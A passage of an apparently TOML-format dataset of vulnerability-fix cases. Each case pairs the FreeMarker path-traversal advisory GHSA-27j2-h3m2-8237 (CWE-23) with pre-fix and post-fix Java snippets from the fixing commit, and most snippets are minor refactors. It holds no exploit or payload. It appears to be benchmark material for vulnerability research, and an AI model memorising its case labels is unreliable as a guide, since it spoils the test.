+pre_fix = " String rootBasedNameToAbsoluteName(String name) throws MalformedTemplateNameException {\n if (name.indexOf(\"://\") > 0) {\n return name;\n }\n if (!name.startsWith(\"/\")) {\n return \"/\" + name;\n }\n return name;\n }\n \n @Override"
+repo = "apache/freemarker"
+url = "https://github.com/apache/freemarker.git"
+
+[[case]]
+advisory = "GHSA-27j2-h3m2-8237"
+advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context."
+commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb"
+cwe = "CWE-23"
+family = "path"
+function = "URLTemplateSource"
+function_lines = [[41, 50]]
+id = "apache-freemarker-8083f17f7cbadd46"
+language = "java"
+method = "fix_site"
+parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d"
+path = "freemarker-core/src/main/java/freemarker/cache/URLTemplateSource.java"
+post_fix = " public URLTemplateSource(URL url, Boolean useCaches) throws IOException {\n this.url = url;\n this.conn = url.openConnection();\n this.useCaches = useCaches;\n if (useCaches != null) {\n conn.setUseCaches(useCaches);\n }\n }\n\n @Override"
+pre_fix = " public URLTemplateSource(URL url, Boolean useCaches) throws IOException {\n this.url = url;\n this.conn = url.openConnection();\n this.useCaches = useCaches;\n if (useCaches != null) {\n conn.setUseCaches(useCaches.booleanValue());\n }\n }\n\n @Override"
+repo = "apache/freemarker"
+url = "https://github.com/apache/freemarker.git"
+
+[[case]]
+advisory = "GHSA-27j2-h3m2-8237"
+advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context."
+commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb"
+cwe = "CWE-23"
+family = "path"
+function = "canonicalizePrefix"
+function_lines = [[112, 122]]
+id = "apache-freemarker-9a97c39706187df2"
+language = "java"
+method = "fix_site"
+parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d"
+path = "freemarker-core/src/main/java/freemarker/cache/URLTemplateLoader.java"
+post_fix = " protected static String canonicalizePrefix(String prefix) {\n if (prefix.isEmpty()) {\n return prefix;\n }\n\n prefix = prefix.replace('\\\\', '/');\n return prefix.endsWith(\"/\") ? prefix : prefix + \"/\";\n }\n\n}"
+pre_fix = " protected static String canonicalizePrefix(String prefix) {\n // make it foolproof\n prefix = prefix.replace('\\\\', '/');\n // ensure there's a trailing slash\n if (prefix.length() > 0 && !prefix.endsWith(\"/\")) {\n prefix += \"/\";\n }\n return prefix;\n }\n \n}"
+repo = "apache/freemarker"
+url = "https://github.com/apache/freemarker.git"
+
+[[case]]
+advisory = "GHSA-27j2-h3m2-8237"
+advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context."
+commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb"
+cwe = "CWE-23"
+family = "path"
+function = "loadTemplate"
+function_lines = [[524, 589]]
+id = "apache-freemarker-9c4ae45efeed53a7"
+language = "java"
+method = "fix_site"
+parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d"
+path = "freemarker-core/src/main/java/freemarker/cache/TemplateCache.java"
+post_fix = " private Template loadTemplate(\n final TemplateLoader templateLoader, final Object source,\n final String name, final String sourceName, Locale locale, final Object customLookupCondition,\n String initialEncoding, final boolean parseAsFTL) throws IOException {\n final TemplateConfiguration tc;\n try {\n tc = templateConfigurations != null ? templateConfigurations.get(sourceName, source) : null;\n } catch (TemplateConfigurationFactoryException e) {\n throw new IOException(\"Error while getting TemplateConfiguration; see cause exception.\", e);\n }\n if (tc != null) {\n // TC.{encoding,locale} is stronger than the cfg.getTemplate arguments by design.\n if (tc.isEncodingSet()) {\n initialEncoding = tc.getEncoding();\n }\n if (tc.isLocaleSet()) {\n locale = tc.getLocale();\n }\n }\n\n Template template;\n {\n if (parseAsFTL) {\n try {\n try (Reader reader = templateLoader.getReader(source, initialEncoding)) {\n template = new Template(name, sourceName, reader, config, tc, initialEncoding);\n }\n } catch (Template.WrongEncodingException wee) {\n String actualEncoding = wee.getTemplateSpecifiedEncoding();\n if (LOG.isDebugEnabled()) {\n LOG.debug(\"Initial encoding \\\"\" + initialEncoding + \"\\\" was incorrect, re-reading with \\\"\"\n + actualEncoding + \"\\\". Template: \" + sourceName);\n }\n\n try (Reader reader = templateLoader.getReader(source, actualEncoding)) {\n template = new Template(name, sourceName, reader, config, tc, actualEncoding);\n }\n }\n } else {\n // Read the contents into a StringWriter, then construct a single-text-block template from it.\n final StringWriter sw = new StringWriter();\n final char[] buf = new char[4096];\n try (Reader reader = templateLoader.getReader(source, initialEncoding)) {\n while (true) {\n int charsRead = reader.read(buf);\n if (charsRead > 0) {\n sw.write(buf, 0, charsRead);\n } else if (charsRead < 0) {\n break;\n }\n }\n }\n template = Template.getPlainTextTemplate(name, sourceName, sw.toString(), config);\n template.setEncoding(initialEncoding);\n }\n }\n\n if (tc != null) {\n tc.apply(template);\n }\n\n template.setLocale(locale);\n template.setCustomLookupCondition(customLookupCondition);\n return template;\n }"
+pre_fix = " private Template loadTemplate(\n final TemplateLoader templateLoader, final Object source,\n final String name, final String sourceName, Locale locale, final Object customLookupCondition,\n String initialEncoding, final boolean parseAsFTL) throws IOException {\n final TemplateConfiguration tc;\n try {\n tc = templateConfigurations != null ? templateConfigurations.get(sourceName, source) : null;\n } catch (TemplateConfigurationFactoryException e) {\n throw newIOException(\"Error while getting TemplateConfiguration; see cause exception.\", e);\n }\n if (tc != null) {\n // TC.{encoding,locale} is stronger than the cfg.getTemplate arguments by design.\n if (tc.isEncodingSet()) {\n initialEncoding = tc.getEncoding();\n }\n if (tc.isLocaleSet()) {\n locale = tc.getLocale();\n }\n }\n \n Template template;\n {\n if (parseAsFTL) {\n try {\n try (Reader reader = templateLoader.getReader(source, initialEncoding)) {\n template = new Template(name, sourceName, reader, config, tc, initialEncoding);\n }\n } catch (Template.WrongEncodingException wee) {\n String actualEncoding = wee.getTemplateSpecifiedEncoding();\n if (LOG.isDebugEnabled()) {\n LOG.debug(\"Initial encoding \\\"\" + initialEncoding + \"\\\" was incorrect, re-reading with \\\"\"\n + actualEncoding + \"\\\". Template: \" + sourceName);\n }\n\n try (Reader reader = templateLoader.getReader(source, actualEncoding)) {\n template = new Template(name, sourceName, reader, config, tc, actualEncoding);\n }\n }\n } else {\n // Read the contents into a StringWriter, then construct a single-text-block template from it.\n final StringWriter sw = new StringWriter();\n final char[] buf = new char[4096];\n try (Reader reader = templateLoader.getReader(source, initialEncoding)) {\n fetchChars:\n while (true) {\n int charsRead = reader.read(buf);\n if (charsRead > 0) {\n sw.write(buf, 0, charsRead);\n } else if (charsRead < 0) {\n break fetchChars;\n }\n }\n }\n template = Template.getPlainTextTemplate(name, sourceName, sw.toString(), config);\n template.setEncoding(initialEncoding);\n }\n }\n\n if (tc != null) {\n tc.apply(template);\n }\n \n template.setLocale(locale);\n template.setCustomLookupCondition(customLookupCondition);\n return template;\n }"
+repo = "apache/freemarker"
+url = "https://github.com/apache/freemarker.git"
+
+[[case]]
+advisory = "GHSA-27j2-h3m2-8237"
+advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context."
+commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb"
+cwe = "CWE-23"
+family = "path"
+function = "hasMatchingPrefix"
+function_lines = [[150, 158]]
+id = "apache-freemarker-a05c81da5a0b21df"
+language = "java"
+method = "fix_site"
+parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d"
+path = "freemarker-core/src/main/java/freemarker/core/OptInTemplateClassResolver.java"
+post_fix = " private boolean hasMatchingPrefix(String name) {\n for (String trustedTemplatePrefix : trustedTemplatePrefixes) {\n if (name.startsWith(trustedTemplatePrefix)) return true;\n }\n return false;\n }\n}"
+pre_fix = " private boolean hasMatchingPrefix(String name) {\n for (int i = 0; i < trustedTemplatePrefixes.size(); i++) {\n String prefix = (String) trustedTemplatePrefixes.get(i);\n if (name.startsWith(prefix)) return true;\n }\n return false;\n }\n\n}"
+repo = "apache/freemarker"
+url = "https://github.com/apache/freemarker.git"
+
+[[case]]
+advisory = "GHSA-27j2-h3m2-8237"
+advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context."
+commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb"
+cwe = "CWE-23"
+family = "path"
+function = "hashCode"
+function_lines = [[862, 887]]
+id = "apache-freemarker-a176addda844a7ce"
+language = "java"
+method = "fix_site"
+parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d"
+path = "freemarker-core/src/main/java/freemarker/cache/TemplateCache.java"
+post_fix = " public int hashCode() {\n return\n name.hashCode() ^\n locale.hashCode() ^\n encoding.hashCode() ^\n (customLookupCondition != null ? customLookupCondition.hashCode() : 0) ^\n Boolean.valueOf(!parse).hashCode();\n }\n }\n\n /**\n * This class holds the cached template and associated information (the source object, and the last-checked and\n * last-modified timestamps). It is used as the value in the cached templates map. Note: this class is Serializable\n * to allow custom 3rd party CacheStorage implementations to serialize/replicate them (see tracker issue #1926150);\n * FreeMarker code itself doesn't rely on its serializability.\n */\n private static final class CachedTemplate implements Cloneable, Serializable {\n private static final long serialVersionUID = 1L;\n\n Object templateOrException;\n Object source;\n long lastChecked;\n long lastModified;\n"
+pre_fix = " public int hashCode() {\n return\n name.hashCode() ^\n locale.hashCode() ^\n encoding.hashCode() ^\n (customLookupCondition != null ? customLookupCondition.hashCode() : 0) ^\n Boolean.valueOf(!parse).hashCode();\n }\n }\n\n /**\n * This class holds the cached template and associated information\n * (the source object, and the last-checked and last-modified timestamps).\n * It is used as the value in the cached templates map. Note: this class\n * is Serializable to allow custom 3rd party CacheStorage implementations \n * to serialize/replicate them (see tracker issue #1926150); FreeMarker \n * code itself doesn't rely on its serializability.\n */\n private static final class CachedTemplate implements Cloneable, Serializable {\n private static final long serialVersionUID = 1L;\n\n Object templateOrException;\n Object source;\n long lastChecked;\n long lastModified;\n "
+repo = "apache/freemarker"
+url = "https://github.com/apache/freemarker.git"
+
+[[case]]
+advisory = "GHSA-27j2-h3m2-8237"
+advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context."
+commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb"
+cwe = "CWE-23"
+family = "path"
+function = "getLessSpecificLocale"
+function_lines = [[33, 45]]
+id = "apache-freemarker-a74ec0787d3280ea"
+language = "java"
+method = "fix_site"
+parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d"
+path = "freemarker-core/src/main/java/freemarker/core/_CoreLocaleUtils.java"
+post_fix = " public static Locale getLessSpecificLocale(Locale locale) {\n String country = locale.getCountry();\n if (!locale.getVariant().isEmpty()) {\n return new Locale(locale.getLanguage(), country);\n }\n if (!country.isEmpty()) {\n return new Locale(locale.getLanguage());\n }\n return null;\n }\n\n}"
+pre_fix = " public static Locale getLessSpecificLocale(Locale locale) {\n String country = locale.getCountry();\n if (locale.getVariant().length() != 0) {\n String language = locale.getLanguage();\n return country != null ? new Locale(language, country) : new Locale(language);\n }\n if (country.length() != 0) {\n return new Locale(locale.getLanguage());\n }\n return null;\n }\n \n}"
+repo = "apache/freemarker"
+url = "https://github.com/apache/freemarker.git"
+
+[[case]]
+advisory = "GHSA-27j2-h3m2-8237"
+advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context."
+commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb"
+cwe = "CWE-23"
+family = "path"
+function = "removeRedundantStarSteps"
+function_lines = [[424, 454]]
+id = "apache-freemarker-a765c68d84f2b828"
+language = "java"
+method = "fix_site"
+parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d"
+path = "freemarker-core/src/main/java/freemarker/cache/TemplateNameFormat.java"
+post_fix = " private String removeRedundantStarSteps(String path) {\n String prevName;\n do {\n int supiciousIdx = path.indexOf(\"*/*\");\n if (supiciousIdx == -1) {\n break;\n }\n\n prevName = path;\n\n // Is it delimited on both sided by \"/\" or by the string boundaires? \n if ((supiciousIdx == 0 || path.charAt(supiciousIdx - 1) == '/')\n && (supiciousIdx + 3 == path.length() || path.charAt(supiciousIdx + 3) == '/')) {\n path = path.substring(0, supiciousIdx) + path.substring(supiciousIdx + 2);\n }\n } while (prevName != path);\n\n // An initial \"*\" step is redundant:\n if (path.startsWith(\"*\")) {\n if (path.length() == 1) {\n path = \"\";\n } else if (path.charAt(1) == '/') {\n path = path.substring(2);\n }\n // else: it's wasn't a \"*\" step.\n }\n\n return path;\n }\n\n @Override"
+pre_fix = " private String removeRedundantStarSteps(String path) {\n String prevName;\n removeDoubleStarSteps: do {\n int supiciousIdx = path.indexOf(\"*/*\");\n if (supiciousIdx == -1) {\n break removeDoubleStarSteps;\n }\n \n prevName = path;\n \n // Is it delimited on both sided by \"/\" or by the string boundaires? \n if ((supiciousIdx == 0 || path.charAt(supiciousIdx - 1) == '/')\n && (supiciousIdx + 3 == path.length() || path.charAt(supiciousIdx + 3) == '/')) {\n path = path.substring(0, supiciousIdx) + path.substring(supiciousIdx + 2); \n }\n } while (prevName != path);\n \n // An initial \"*\" step is redundant:\n if (path.startsWith(\"*\")) {\n if (path.length() == 1) {\n path = \"\";\n } else if (path.charAt(1) == '/') {\n path = path.substring(2); \n }\n // else: it's wasn't a \"*\" step.\n }\n \n return path;\n }\n\n @Override"
+repo = "apache/freemarker"
+url = "https://github.com/apache/freemarker.git"
+
+[[case]]
+advisory = "GHSA-27j2-h3m2-8237"
+advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context."
+commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb"
+cwe = "CWE-23"
+family = "path"
+function = "AliasTemplateDateFormatFactory"
+function_lines = [[42, 91]]
+id = "apache-freemarker-aace5c9941b635b3"
+language = "java"
+method = "fix_site"
+parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d"
+path = "freemarker-core/src/main/java/freemarker/core/AliasTemplateDateFormatFactory.java"
+post_fix = " public AliasTemplateDateFormatFactory(String targetFormatString) {\n this(targetFormatString, null);\n }\n\n /**\n * @param defaultTargetFormatString\n * The format string this format will be an alias to if there's no locale-specific format string for the\n * requested locale in {@code localizedTargetFormatStrings}. Not {@code null}.\n * @param localizedTargetFormatStrings\n * Maps {@link Locale}-s to format strings (maybe {@code null}). If the desired locale doesn't occur in the\n * map, a less specific locale is tried, repeatedly until only the language part remains. For example, if\n * locale is {@code new Locale(\"en\", \"US\", \"Linux\")}, then these keys will be attempted until a match is\n * found, in this order: {@code new Locale(\"en\", \"US\", \"Linux\")}, {@code new Locale(\"en\", \"US\")},\n * {@code new Locale(\"en\")}. If there's still no matching key, the value of the {@code targetFormatString}\n * will be used.\n */\n public AliasTemplateDateFormatFactory(\n String defaultTargetFormatString, Map localizedTargetFormatStrings) {\n NullArgumentException.check(\"defaultTargetFormatString\", defaultTargetFormatString);\n this.defaultTargetFormatString = defaultTargetFormatString;\n this.localizedTargetFormatStrings = localizedTargetFormatStrings;\n }\n\n @Override\n public TemplateDateFormat get(String params, int dateType, Locale locale, TimeZone timeZone, boolean zonelessInput,\n Environment env) throws TemplateValueFormatException {\n TemplateFormatUtil.checkHasNoParameters(params);\n try {\n String targetFormatString;\n if (localizedTargetFormatStrings != null) {\n Locale lookupLocale = locale;\n targetFormatString = localizedTargetFormatStrings.get(lookupLocale);\n while (targetFormatString == null\n && (lookupLocale = _CoreLocaleUtils.getLessSpecificLocale(lookupLocale)) != null) {\n targetFormatString = localizedTargetFormatStrings.get(lookupLocale);\n }\n } else {\n targetFormatString = null;\n }\n if (targetFormatString == null) {\n targetFormatString = this.defaultTargetFormatString;\n }\n return env.getTemplateDateFormat(targetFormatString, dateType, locale, timeZone, zonelessInput);\n } catch (TemplateValueFormatException e) {\n throw new AliasTargetTemplateValueFormatException(\"Failed to create format based on target format string, \"\n + StringUtil.jQuote(params) + \". Reason given: \" + e.getMessage(), e);\n }\n }\n\n}"
+pre_fix = " public AliasTemplateDateFormatFactory(String targetFormatString) {\n this.defaultTargetFormatString = targetFormatString;\n localizedTargetFormatStrings = null;\n }\n\n /**\n * @param defaultTargetFormatString\n * The format string this format will be an alias to if there's no locale-specific format string for the\n * requested locale in {@code localizedTargetFormatStrings}\n * @param localizedTargetFormatStrings\n * Maps {@link Locale}-s to format strings. If the desired locale doesn't occur in the map, a less\n * specific locale is tried, repeatedly until only the language part remains. For example, if locale is\n * {@code new Locale(\"en\", \"US\", \"Linux\")}, then these keys will be attempted untol a match is found, in\n * this order: {@code new Locale(\"en\", \"US\", \"Linux\")}, {@code new Locale(\"en\", \"US\")},\n * {@code new Locale(\"en\")}. If there's still no matching key, the value of the\n * {@code targetFormatString} will be used.\n */\n public AliasTemplateDateFormatFactory(\n String defaultTargetFormatString, Map localizedTargetFormatStrings) {\n this.defaultTargetFormatString = defaultTargetFormatString;\n this.localizedTargetFormatStrings = localizedTargetFormatStrings;\n }\n \n @Override\n public TemplateDateFormat get(String params, int dateType, Locale locale, TimeZone timeZone, boolean zonelessInput,\n Environment env) throws TemplateValueFormatException {\n TemplateFormatUtil.checkHasNoParameters(params);\n try {\n String targetFormatString;\n if (localizedTargetFormatStrings != null) {\n Locale lookupLocale = locale;\n targetFormatString = localizedTargetFormatStrings.get(lookupLocale);\n while (targetFormatString == null\n && (lookupLocale = _CoreLocaleUtils.getLessSpecificLocale(lookupLocale)) != null) {\n targetFormatString = localizedTargetFormatStrings.get(lookupLocale);\n }\n } else {\n targetFormatString = null;\n }\n if (targetFormatString == null) {\n targetFormatString = this.defaultTargetFormatString;\n }\n return env.getTemplateDateFormat(targetFormatString, dateType, locale, timeZone, zonelessInput);\n } catch (TemplateValueFormatException e) {\n throw new AliasTargetTemplateValueFormatException(\"Failed to create format based on target format string, \"\n + StringUtil.jQuote(params) + \". Reason given: \" + e.getMessage(), e);\n }\n }\n\n}"
+repo = "apache/freemarker"
+url = "https://github.com/apache/freemarker.git"
+
+[[case]]
+advisory = "GHSA-27j2-h3m2-8237"
+advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context."
+commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb"
+cwe = "CWE-23"
+family = "path"
+function = "throwLoadFailedException"
+function_lines = [[501, 513]]
+id = "apache-freemarker-c0f61114ff3ab48a"
+language = "java"
+method = "fix_site"
+parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d"
+path = "freemarker-core/src/main/java/freemarker/cache/TemplateCache.java"
+post_fix = " private void throwLoadFailedException(Throwable e) throws IOException {\n throw new IOException(\n \"There was an error loading the template on an earlier attempt; see cause exception.\",\n e);\n }\n\n private void storeNegativeLookup(TemplateKey tk,\n CachedTemplate cachedTemplate, Exception e) {\n cachedTemplate.templateOrException = e;\n cachedTemplate.source = null;\n cachedTemplate.lastModified = 0L;\n storeCached(tk, cachedTemplate);\n }\n"
+pre_fix = " private void throwLoadFailedException(Throwable e) throws IOException {\n throw newIOException(\"There was an error loading the \" +\n \"template on an earlier attempt; see cause exception.\", e);\n }\n\n private void storeNegativeLookup(TemplateKey tk, \n CachedTemplate cachedTemplate, Exception e) {\n cachedTemplate.templateOrException = e;\n cachedTemplate.source = null;\n cachedTemplate.lastModified = 0L;\n storeCached(tk, cachedTemplate);\n }\n"
+repo = "apache/freemarker"
+url = "https://github.com/apache/freemarker.git"
+
+[[case]]
+advisory = "GHSA-27j2-h3m2-8237"
+advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context."
+commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb"
+cwe = "CWE-23"
+family = "path"
+function = "removeDotSteps"
+function_lines = [[327, 361]]
+id = "apache-freemarker-cf639b1623d15342"
+language = "java"
+method = "fix_site"
+parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d"
+path = "freemarker-core/src/main/java/freemarker/cache/TemplateNameFormat.java"
+post_fix = " private String removeDotSteps(String path) {\n int nextFromIdx = path.length() - 1;\n while (true) {\n final int dotIdx = path.lastIndexOf('.', nextFromIdx);\n if (dotIdx < 0) {\n return path;\n }\n nextFromIdx = dotIdx - 1;\n\n if (dotIdx != 0 && path.charAt(dotIdx - 1) != '/') {\n // False alarm\n continue;\n }\n\n final boolean slashRight;\n if (dotIdx + 1 == path.length()) {\n slashRight = false;\n } else if (path.charAt(dotIdx + 1) == '/') {\n slashRight = true;\n } else {\n // False alarm\n continue;\n }\n\n if (slashRight) { // \"foo/./bar\" or \"./bar\" \n path = path.substring(0, dotIdx) + path.substring(dotIdx + 2);\n } else { // \"foo/.\" or \".\"\n path = path.substring(0, path.length() - 1);\n }\n }\n }\n\n /**\n * @param name\n * The original name, needed for exception error messages.\n */"
+pre_fix = " private String removeDotSteps(String path) {\n int nextFromIdx = path.length() - 1;\n findDotSteps: while (true) {\n final int dotIdx = path.lastIndexOf('.', nextFromIdx);\n if (dotIdx < 0) {\n return path;\n }\n nextFromIdx = dotIdx - 1;\n \n if (dotIdx != 0 && path.charAt(dotIdx - 1) != '/') {\n // False alarm\n continue findDotSteps;\n }\n \n final boolean slashRight;\n if (dotIdx + 1 == path.length()) {\n slashRight = false;\n } else if (path.charAt(dotIdx + 1) == '/') {\n slashRight = true;\n } else {\n // False alarm\n continue findDotSteps;\n }\n \n if (slashRight) { // \"foo/./bar\" or \"./bar\" \n path = path.substring(0, dotIdx) + path.substring(dotIdx + 2);\n } else { // \"foo/.\" or \".\"\n path = path.substring(0, path.length() - 1);\n }\n }\n }\n \n /**\n * @param name The original name, needed for exception error messages.\n */"
+repo = "apache/freemarker"
+url = "https://github.com/apache/freemarker.git"
+
+[[case]]
+advisory = "GHSA-27j2-h3m2-8237"
+advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context."
+commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb"
+cwe = "CWE-23"
+family = "path"
+function = "ClassTemplateLoader"
+function_lines = [[53, 68]]
+id = "apache-freemarker-cfc58a253de5f6bd"
+language = "java"
+method = "fix_site"
+parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d"
+path = "freemarker-core/src/main/java/freemarker/cache/ClassTemplateLoader.java"
